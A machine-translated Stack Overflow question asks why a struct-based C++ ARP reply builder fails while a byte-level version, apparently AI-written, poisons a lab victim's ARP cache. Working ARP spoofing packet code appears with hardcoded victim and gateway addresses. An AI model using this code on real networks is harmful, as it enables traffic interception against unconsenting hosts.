Содержимое пакета ARP при просмотре в Wireshark и в виде необработанного шестнадцатеричного дампа идентично для обоих методов (как показано на прикрепленном изображении, правильные.pcapng и проблема.pcapng имеют одинаковые необработанные данные). Однако только метод конструирования на уровне байтов вручную корректно анализируется Wireshark (правильно показывает IP/MAC-адреса) и фактически отравляет ARP-кеш жертвы. Метод копирования на основе структуры не распознается, адреса отображаются как простые шестнадцатеричные значения, а кэш ARP не обновляется.
[! введите описание изображения здесь](https://i.sstatic.net/wjjMC8xY.png)
Соответствующий код C++:
- Определение структуры:
Код: Выделить всё
//以太帧
typedef struct _eth_header {
unsigned char dst_mac[6];
unsigned char src_mac[6];
unsigned short type;
} ETH_HEADER;
//ARP
#pragma pack(push, 1)
typedef struct _arp_hreader {
unsigned short hardware_type;//硬件类型
unsigned short protocol_type;//协议类型
unsigned char hardware_len;//硬件地址长度
unsigned char protocol_len;//协议地址长度
unsigned short option;//ARP请求为1,ARP应答为2
unsigned char src_mac[6];//源MAC
unsigned long src_ip;//源IP
unsigned char dst_mac[6];//目的MAC
unsigned long dst_ip;//目的IP
}ARP_HEADER;
#pragma pack(pop)
typedef struct _arp_packet {
ETH_HEADER eth_header;
ARP_HEADER arp_header;
}ARP_PACKET;
- Декларация:
Код: Выделить всё
const char* srcip = "10.122.252.165"; //10.122.252.165
u_char SRC_MAC[6] = {0x28, 0x6B, 0x35, 0x58, 0xD2, 0xC5};//本机MAC 28-6B-35-58-D2-C5
const char* victimip = "192.168.126.136"; // 192.168.126.136
u_char VICTIM_MAC[6] = {0x00, 0x0C, 0x29, 0x4F, 0x9F, 0x3E};//靶机MAC 00 0C 29 4F 9F 3E
const char* getwayip = "192.168.126.2"; //192.168.126.2
u_char GETWAY_MAC[6] = {0x00, 0x50, 0x56, 0xE4, 0x1A, 0xA9};// 00 50 56 e4 1a a9
u_char FAKE_MAC[6] = "";//不存在的MAC
- Код ошибки:
Код: Выделить всё
void InitARPHeader(u_char* tmpBuf) {
ARP_HEADER arp_header;
arp_header.hardware_type = htons(0x0001);
arp_header.protocol_type = htons(0x0008);
arp_header.hardware_len = 6;
arp_header.protocol_len = 4;
arp_header.option = htons(0x0002);
for (int i = 0; i < 6; i++) arp_header.src_mac[i] = SRC_MAC[i];
arp_header.src_ip = inet_addr(getwayip);
for (int i = 0; i < 6; i++) arp_header.dst_mac[i] = VICTIM_MAC[i];
arp_header.dst_ip = inet_addr(victimip);
for (int i = 0; i < sizeof(arp_header); i++) tmpBuf[i] = ((unsigned char*)&arp_header)[i];
}
- Правильный код (сгенерирован искусственным интеллектом):
Код: Выделить всё
void InitARPHeader(u_char* tmpBuf) {
tmpBuf[0] = 0x00; tmpBuf[1] = 0x01;
// protocol type = 0x0800 (IPv4)
tmpBuf[2] = 0x08; tmpBuf[3] = 0x00;
// hw len, proto len
tmpBuf[4] = 6; tmpBuf[5] = 4;
// opcode = 2 (ARP reply)
tmpBuf[6] = 0x00; tmpBuf[7] = 0x02;
// sender MAC (6 bytes) -- we want to claim gateway IP maps to our MAC
memcpy(tmpBuf + 8, SRC_MAC, 6);
// sender IP (4 bytes) -- use gateway IP in network byte order
in_addr gw;
gw.s_addr = inet_addr(getwayip); // already network byte order
memcpy(tmpBuf + 14, &gw.s_addr, 4);
// target MAC (6 bytes) -- victim MAC
memcpy(tmpBuf + 18, VICTIM_MAC, 6);
// target IP (4 bytes)
in_addr vic;
vic.s_addr = inet_addr(victimip);
memcpy(tmpBuf + 24, &vic.s_addr, 4);
}
- Почему существует разница между IP и MAC при идентификации WireShark пакетов ARP?
- Как мы можем более стандартизированно обрабатывать подобные структуры в программировании? На какие документы мы можем ссылаться?
- Проблема с заполнением заголовка ARP или обработкой пакета ARP системой Win XP?
- Более глубокий принцип
- Полезный ответ
- Правильные методы программирования
Подробнее здесь: https://stackoverflow.com/questions/797 ... recognized
Мобильная версия